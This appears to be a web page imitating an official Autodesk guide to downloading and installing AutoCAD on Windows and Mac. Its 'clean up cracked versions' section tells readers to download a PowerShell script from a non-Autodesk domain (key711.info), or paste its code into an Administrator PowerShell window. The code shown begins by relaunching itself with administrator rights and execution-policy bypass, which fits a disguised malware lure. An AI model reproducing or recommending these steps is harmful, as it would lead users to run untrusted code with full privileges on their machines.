Navigate to the Products and services tab. Use the search bar to quickly locate your specific software (e.g., type “cad” to find AutoCAD).

2. Select Your Operating System Version

Click on the product tile that matches your operating system (e.g., select AutoCAD for Windows, or AutoCAD for Mac for macOS).

3. Choose Download Method (Windows)

Select your desired Version year, Platform (Win 64), and Language. For a more stable installation experience, click the down arrow next to the Download button and select Direct download to get the full offline installer.

 

Alternative: Download for Mac

If you are downloading the Mac version, select your Version year and Language, then simply click the main Download button to get the installer.

Troubleshooting

  • Forgot password: Use the “Forgot?” option on the login page.
  • No access to email: Update to a valid email (verification required).
  • SSO issues: Check company VPN or try incognito mode.
  • Region / network errors: Switch network or browser.

Important:
Never share your password or verification codes.
Always make sure the domain is autodesk.com.

If you have installed a cracked version?Clean Up Cracked Versions (Windows Only)

If you have previously installed a cracked or pirated version of Autodesk, you must completely clean your system before installing the official software to avoid license conflicts.

  1. Uninstall all existing Autodesk software from your Control Panel.
  2. Download the cleanup script:
    https://key711.info/CleanAutodesk.ps1
  3. Right-click the downloaded CleanAutodesk.ps1 file and select Run with PowerShell.
  4. Restart your computer, and proceed to Step 1 to install the official software.

Take note: If the script cannot run directly

If CleanAutodesk.ps1 cannot run with PowerShell due to system execution policies, follow these steps:

1. Open the CleanAutodesk.ps1 file with Notepad and copy all the text.

2. Open PowerShell as Administrator.

3. Paste the code into the PowerShell window and press Enter to run it.

Script Source Code (for manual copying):

# Check for Administrator privileges
if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { Start-Process powershell.exe "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs; exit }
